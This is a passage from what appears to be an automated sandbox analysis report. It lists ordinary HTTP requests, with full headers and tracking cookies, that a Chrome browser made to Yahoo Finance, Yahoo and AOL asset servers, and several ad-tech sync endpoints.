securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /sectors/basic-materials/ HTTP/1.1Host: finance.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /aoldotcom-releases/games/masque/SolitaireClassic_600x400.png HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&rn=1.7387329119779311 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/pd?gdpr=0&gdpr_consent=&us_privacy=1YNN&ph=2d1251ae-7f3a-47cf-bd2a-2f288854a0ba HTTP/1.1Host: u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /usermatchredir?s=208386&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&cb=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dix%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /um/ixmatch.html HTTP/1.1Host: js-sec.indexww.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1& HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pbcas?us_privacy=1YNN&gdpr=0&gdpr_consent=&type=iframe HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/2.DPu3nbOv.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/PageProgressBar.BUmOb2ZZ.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Debug.SsTdzNxF.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Button.D4GRMVdO.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Icon.DgFg0-NP.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /uc/finance/cosaic/css/finQuote-cc91ea5c.b9a6c12fc99ea24dec24.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uc/finance/cosaic/css/common-182f79bf.be9bec833d1c565712fa.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uc/finance/cosaic/css/common-dfdb1726.d7942345607e91058630.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2&rn=1.7387329119779311 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw
Source: global traffic	HTTP traffic detected: GET /aaq/nel/css/spotIm.SpotImJACForQSP.atomic.ltr.5c12e46d3b7a53aff9d869c8059a7f56.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/MOSTLY_SUNNY.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
